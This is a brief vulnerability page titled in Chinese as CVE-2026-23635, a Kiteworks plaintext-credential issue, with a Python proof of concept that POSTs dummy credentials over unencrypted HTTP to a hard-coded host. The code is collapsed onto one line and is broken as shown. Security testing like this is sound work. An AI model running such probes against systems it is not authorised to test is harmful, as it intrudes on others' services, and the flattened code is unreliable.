CVE-2026-23635 Kiteworks凭证明文传输漏洞

import socket # Proof of Concept (PoC) for checking unencrypted credential transmission # This script simulates a basic check to see if the target accepts plaintext credentials # Note: Actual exploitation requires a Man-in-the-Middle (MitM) position to capture traffic. def check_plaintext_auth(target_host, target_port=80): print(f"[*] Checking {target_host}:{target_port} for potential plaintext transmission...") # Simulate a basic HTTP POST request often used in forms # In a vulnerable scenario, this might be sent over HTTP instead of HTTPS payload = "username=testuser&password=testpass" try: # Establish a raw TCP connection to simulate lack of encryption enforcement s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # Construct a simple HTTP request request = f"POST /login HTTP/1.1\r\n" request += f"Host: {target_host}\r\n" request += "Content-Type: application/x-www-form-urlencoded\r\n" request += f"Content-Length: {len(payload)}\r\n" request += "\r\n" request += payload # Send the request s.send(request.encode()) # Receive response headers response = s.recv(1024) if response: print("[+] Connection established and data sent.") print("[!] Warning: If this port is HTTP (80) and credentials are accepted here, they are transmitted in plaintext.") print("[*] Use Wireshark/Tcpdump on the network interface to verify credential visibility.") except Exception as e: print(f"[-] Connection error: {e}") finally: s.close() if __name__ == "__main__": # Replace with the actual target IP or Hostname target = "192.168.1.10" check_plaintext_auth(target)